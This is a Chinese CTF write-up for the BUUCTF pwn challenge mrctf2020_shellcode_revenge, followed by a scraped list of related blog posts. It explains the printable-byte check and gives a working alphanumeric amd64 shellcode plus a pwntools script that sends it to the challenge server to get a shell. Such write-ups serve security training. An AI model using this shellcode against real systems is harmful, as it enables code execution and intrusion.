[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)

检查了下保护发现NX 没有开,肯定要自己写shellcode呀。
不过这道题,刷新了我的认知。众所周知,手写的shellcode里面肯定有很多不可见字符。第一次碰到可见的shellcode。

看下IDA, 不能反汇编不过问题不大,没事.
个人建议,看汇编的时候,建议看流程图,更加直观

将shellcode写入,那个buf
不过下面肯定大于0呀.rbp + var_8是我们输入字符串的长度.发生转跳


箭头的地方我们不希望发送转跳,这样我们就可以直接call rax了.rax指向的就是我们的buf.
但是eax为0, rbp + var_8是我们输入字符串的长度.肯定发送转跳

幸好接下来, 可以再次转跳回来,不过要求就是每个字符的ascii码 ,必须大于0x60, 小于0x7a或者一堆, 自己可以慢慢看.
总结就是可见字符可以重新转跳,并且eax会+ 1, 当所有的shellcode为可见字符时, 上面就不会发生转跳我们就可以执行call rax.
也就是我们的shellcode了

peak小知识

  1. 函数返回值,一般都会放在eax寄存器里面.
  2. amd64, linux可见字符shellcode 为'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

exploit

from pwn import *
p = remote("node3.buuoj.cn",28153)
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(payload)
p.interactive()

[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)相关推荐

  1. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  2. [攻防世界 pwn]——string(内涵peak小知识)

    [攻防世界 pwn]--string 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存 ...

  3. [攻防世界 pwn]——time_formatter(内涵peak小知识)

    [攻防世界 pwn]--time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题, UAFF(use After Free)漏洞. ...

  4. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  5. [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

    [BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...

  6. [BUUCTF-pwn]——picoctf_2018_leak_me(内涵peak小知识)

    [BUUCTF-pwn]--picoctf_2018_leak_me 题目没什么难度,但是可能反汇编的时候你们可能会出现一些问题. peak小知识 pwn题,有时会碰到无法反汇编的情况,大多数情况下, ...

  7. [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

    [BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...

  8. [BUUCTF]PWN——mrctf2020_shellcode_revenge(可见字符shellcode)

    mrctf2020_shellcode_revenge 例行检查,64位程序,开启了RELRO和PIE 本地运行看一下大概的情况 64位ida载入,没法f5,直接看汇编 jg大于则跳转,jl小于则跳转 ...

  9. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

最新文章

  1. pandas describe函数_PANDAS: 新手教程 一
  2. boost::mpi模块指针序列化测试
  3. b700a怎么连蓝牙_小身材有大功能,小米蓝牙耳机AirDots青春版初体验
  4. 转 STL hash_map map
  5. SpringBoot基础篇日志管理之默认配置
  6. Step by Step 创建一个WCF Service
  7. TIT 计算机图形学 实验一 十二面体线框模型
  8. 教你制作高逼格的技术分享Keynote(PPT)
  9. 取消参考文献自动编号_取消参考文献引用 - 卡饭网
  10. pytorch之拿训练好的LeNet模型测试自己的手写图片预测失败
  11. java计算机毕业设计springboot基汽车租赁系统管理系统
  12. RabbitMQ 开发时指定消息消费者的方式
  13. HNUST OJ 2293 贪吃蛇吃苹果
  14. Elasticsearch 5.0 rollover api 学习
  15. 口语语汇单词篇(10)
  16. 针对零基础的UE开发(05)
  17. kali ifconfig没有wlan0的解决方法
  18. template(模板)的介绍以及使用方法
  19. 2022 Robocom世界机器人开发者大赛 CAIP编程赛道 本科组-省赛 挨打记录+题解
  20. 亚历山大·谢尔盖耶维奇·普希金

热门文章

  1. C++ Primer 第十六章 模板与范型编程
  2. 面试ASP.NET程序员的笔试题和机试题(转,有点意思,答案不是很标准)
  3. Day14作业 二、有两个List集合怎么取两个无重复的并集
  4. [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测
  5. [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及防御机理
  6. C# VS2012操作word文档 (一).创建文档
  7. iOS逆向之深入解析MachO文件
  8. 2017年第八届蓝桥杯C/C++ A组国赛 —— 第一题:平方十位数
  9. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1098:质因数分解
  10. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1075:药房管理